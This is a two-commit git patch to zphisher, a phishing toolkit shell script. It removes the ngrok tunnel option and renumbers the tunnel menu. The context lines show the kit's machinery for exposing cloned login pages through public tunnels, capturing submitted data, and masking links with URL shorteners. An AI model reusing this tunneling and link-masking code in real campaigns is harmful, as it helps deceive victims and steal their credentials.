From 7574373574407b6e07f8ccb7729c356b8eb80009 Mon Sep 17 00:00:00 2001 From: Russ Savage Date: Wed, 22 Mar 2023 16:58:34 -0700 Subject: [PATCH 1/2] feat: remove ngrok --- README.md | 1 - zphisher.sh | 51 +++------------------------------------------------ 2 files changed, 3 insertions(+), 49 deletions(-) diff --git a/README.md b/README.md index 8b49c829..4c4b5076 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,6 @@ It only demonstrates "how phishing works". You shall not misuse the informati - Beginners friendly - Multiple tunneling options - Localhost - - Ngrok - Cloudflared - LocalXpose - Mask URL support diff --git a/zphisher.sh b/zphisher.sh index 21f89c56..2e743399 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -153,7 +153,7 @@ reset_color() { ## Kill already running process kill_pid() { - check_PID="php ngrok cloudflared loclx" + check_PID="php cloudflared loclx" for process in ${check_PID}; do if [[ $(pidof ${process}) ]]; then # Check for Process killall ${process} > /dev/null 2>&1 # Kill the Process @@ -300,25 +300,6 @@ download() { fi } -## Install ngrok -install_ngrok() { - if [[ -e ".server/ngrok" ]]; then - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed." - else - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE} - arch=`uname -m` - if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then - download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' 'ngrok' - elif [[ "$arch" == *'aarch64'* ]]; then - download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' 'ngrok' - elif [[ "$arch" == *'x86_64'* ]]; then - download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' 'ngrok' - else - download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' 'ngrok' - fi - fi -} - ## Install Cloudflared install_cloudflared() { if [[ -e ".server/cloudflared" ]]; then @@ -468,28 +449,6 @@ capture_data() { done } -## Start ngrok -start_ngrok() { - cusport - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" - { sleep 1; setup_site; } - echo -e "\n" - read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion - [[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us" - echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..." - - if [[ `command -v termux-chroot` ]]; then - sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 & - else - sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 & - fi - - sleep 8 - ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)') - custom_url "$ngrok_url" - capture_data -} - ## Start Cloudflared start_cloudflared() { rm .cld.log > /dev/null 2>&1 & @@ -565,7 +524,6 @@ tunnel_menu() { cat <<- EOF ${RED}[${WHITE}01${RED}]${ORANGE} Localhost - ${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Account Needed${RED}] ${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}] ${RED}[${WHITE}04${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}] @@ -577,10 +535,8 @@ tunnel_menu() { 1 | 01) start_localhost;; 2 | 02) - start_ngrok;; - 3 | 03) start_cloudflared;; - 4 | 04) + 3 | 03) start_loclx;; *) echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." @@ -625,7 +581,7 @@ custom_url() { tinyurl="https://tinyurl.com/api-create.php?url=" { custom_mask; sleep 1; clear; banner_small; } - if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then + if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then if [[ $(site_stat $isgd) == 2* ]]; then shorten $isgd "$url" elif [[ $(site_stat $shortcode) == 2* ]]; then @@ -950,7 +906,6 @@ main_menu() { kill_pid dependencies check_status -install_ngrok install_cloudflared install_localxpose main_menu From 615d9f89c396d8f42bd0df572689316b5e20909b Mon Sep 17 00:00:00 2001 From: Tahmid Rayat <56682134+htr-tech@users.noreply.github.com> Date: Fri, 24 Mar 2023 16:46:09 +0600 Subject: [PATCH 2/2] Fix Order --- zphisher.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 2e743399..8cc65912 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -524,8 +524,8 @@ tunnel_menu() { cat <<- EOF ${RED}[${WHITE}01${RED}]${ORANGE} Localhost - ${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}] - ${RED}[${WHITE}04${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}] + ${RED}[${WHITE}02${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}] + ${RED}[${WHITE}03${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}] EOF